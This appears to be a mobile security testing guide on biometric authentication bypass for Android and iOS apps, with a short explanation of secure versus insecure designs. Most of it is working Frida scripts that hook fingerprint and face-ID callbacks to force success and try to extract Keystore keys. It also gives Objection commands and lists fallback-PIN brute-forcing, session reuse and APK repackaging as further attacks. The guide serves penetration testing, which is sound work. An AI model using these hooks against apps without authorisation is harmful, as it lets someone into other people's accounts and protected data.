Biometric Authentication Bypass
Biometric authentication (fingerprint, face recognition) adds convenience but can be bypassed when improperly implemented. This guide covers common weaknesses and bypass techniques.
OWASP M4: Insecure Authentication
How Biometric Auth Works
Secure Implementation
- User authenticates with biometric
- System returns cryptographic key from Keystore/Keychain
- Key is used to decrypt local credentials or sign challenge
- Signed challenge sent to server for validation
Insecure Implementation
- User authenticates with biometric
- Callback returns boolean (success/failure)
- App checks boolean and proceeds if true
- No cryptographic binding to authentication
Android Biometric Bypass
BiometricPrompt Callback Bypass
Hook the authentication callback to always return success:
Java.perform(function() {
// BiometricPrompt.AuthenticationCallback bypass
var BiometricPrompt = Java.use('androidx.biometric.BiometricPrompt');
var AuthenticationCallback = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
var AuthenticationResult = Java.use('androidx.biometric.BiometricPrompt$AuthenticationResult');
// Find and hook the callback
AuthenticationCallback.onAuthenticationSucceeded.implementation = function(result) {
console.log('[+] onAuthenticationSucceeded called');
this.onAuthenticationSucceeded(result);
};
AuthenticationCallback.onAuthenticationFailed.implementation = function() {
console.log('[*] Intercepting onAuthenticationFailed - calling onAuthenticationSucceeded');
// Create a fake result
var fakeResult = AuthenticationResult.$new(null, null);
this.onAuthenticationSucceeded(fakeResult);
};
AuthenticationCallback.onAuthenticationError.implementation = function(errorCode, errString) {
console.log('[*] Intercepting onAuthenticationError: ' + errString);
var fakeResult = AuthenticationResult.$new(null, null);
this.onAuthenticationSucceeded(fakeResult);
};
});Legacy FingerprintManager Bypass
Java.perform(function() {
// Legacy FingerprintManager (pre-Android 9)
var FingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager');
var AuthCallback = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationCallback');
AuthCallback.onAuthenticationSucceeded.implementation = function(result) {
console.log('[+] Fingerprint success callback');
this.onAuthenticationSucceeded(result);
};
AuthCallback.onAuthenticationFailed.implementation = function() {
console.log('[*] Bypassing fingerprint failure');
// Call succeeded instead
this.onAuthenticationSucceeded(null);
};
// Hook the authenticate method itself
FingerprintManager.authenticate.implementation = function(crypto, cancel, flags, callback, handler) {
console.log('[*] FingerprintManager.authenticate intercepted');
// Immediately call success
callback.onAuthenticationSucceeded(null);
};
});Using Objection
# Connect to app
objection -g com.target.app explore
# Bypass biometric auth
android ui FLAG_SECURE false
# List biometric-related classes
android hooking list classes | grep -i biometric
android hooking list classes | grep -i fingerprint
# Watch authentication methods
android hooking watch class androidx.biometric.BiometricPrompt
android hooking watch class android.hardware.fingerprint.FingerprintManageriOS Biometric Bypass
LocalAuthentication Framework Bypass
// Bypass Touch ID / Face ID
if (ObjC.available) {
var LAContext = ObjC.classes.LAContext;
// Hook evaluatePolicy:localizedReason:reply:
var evaluatePolicy = LAContext['- evaluatePolicy:localizedReason:reply:'];
Interceptor.attach(evaluatePolicy.implementation, {
onEnter: function(args) {
console.log('[*] evaluatePolicy called');
var policy = args[2];
var reason = ObjC.Object(args[3]);
console.log(' Policy: ' + policy);
console.log(' Reason: ' + reason.toString());
// Store the reply block
this.reply = new ObjC.Block(args[4]);
},
onLeave: function(retval) {
// Call reply block with success
console.log('[+] Bypassing biometric - returning success');
if (this.reply) {
// reply(YES, nil) - success with no error
this.reply.implementation(true, null);
}
}
});
// Hook canEvaluatePolicy to always return true
var canEvaluatePolicy = LAContext['- canEvaluatePolicy:error:'];
Interceptor.attach(canEvaluatePolicy.implementation, {
onLeave: function(retval) {
console.log('[+] canEvaluatePolicy - forcing true');
retval.replace(1);
}
});
}Alternative Bypass Methods
// More comprehensive iOS bypass
if (ObjC.available) {
// Method 1: Replace reply block entirely
var LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const origImpl = block.implementation;
block.implementation = function(success, error) {
console.log('[+] Biometric reply intercepted');
console.log(' Original success: ' + success);
// Always call with success=true, error=nil
origImpl(true, null);
};
}
});
// Method 2: Bypass by hooking the result check
// Find app-specific authentication method
ObjC.enumerateLoadedClasses({
onMatch: function(className) {
if (className.includes('Auth') || className.includes('Biometric')) {
console.log('[*] Found class: ' + className);
}
},
onComplete: function() {}
});
}Objection iOS Bypass
# Connect to app
objection -g com.target.app explore
# Bypass Touch ID / Face ID
ios ui biometrics_bypass
# Watch authentication classes
ios hooking watch class LAContext
# Search for biometric methods
ios hooking search classes biometric
ios hooking search methods authenticateBypassing Keychain-Bound Biometrics
Harder to Bypass
Android Keystore Bypass Attempts
Java.perform(function() {
// Try to bypass crypto requirement
var KeyStore = Java.use('java.security.KeyStore');
var Key = Java.use('java.security.Key');
// Hook getKey to return null (may cause crash)
KeyStore.getKey.implementation = function(alias, password) {
console.log('[*] KeyStore.getKey: ' + alias);
return this.getKey(alias, password);
};
// Monitor Cipher operations
var Cipher = Java.use('javax.crypto.Cipher');
Cipher.init.overload('int', 'java.security.Key').implementation = function(mode, key) {
console.log('[*] Cipher.init with key');
this.init(mode, key);
};
// Try to extract key material (usually fails due to hardware backing)
Key.getEncoded.implementation = function() {
var encoded = this.getEncoded();
if (encoded != null) {
console.log('[+] Key encoded: ' + bytesToHex(encoded));
}
return encoded;
};
});Alternative Attack Vectors
Find Fallback Auth
Look for PIN/password fallback that may be weaker. Often stored in SharedPreferences or can be brute-forced locally.
Session Persistence
Check if session tokens are stored unencrypted. May be able to reuse them without re-authenticating.
Downgrade Attack
Modify app to disable biometric requirement. Repackage APK without biometric checks.
Time-Based Bypass
Some apps don't re-verify biometrics after initial unlock. Modify device time or keep app in memory.
Testing Methodology
Biometric Security Checklist
- 1. Identify biometric implementation (callback vs crypto-bound)
- 2. Test callback bypass with Frida scripts
- 3. Check for fallback authentication mechanisms
- 4. Verify server-side validation of biometric auth
- 5. Test authentication timeout/persistence
- 6. Check if biometric can be bypassed via UI manipulation
- 7. Look for debug/test modes that skip auth
- 8. Test app behavior when biometrics unavailable
Security Comparison
| Implementation | Bypass Difficulty | Notes |
|---|---|---|
| Callback-only validation | Easy | Hook callback, return success |
| Client-side flag check | Easy | Modify boolean value |
| Keystore-bound (software) | Medium | May extract keys on rooted device |
| Keystore-bound (TEE/SE) | Hard | Hardware-backed, need alternative path |
| Server-validated challenge | Very Hard | Requires signed challenge from device |
Best Practice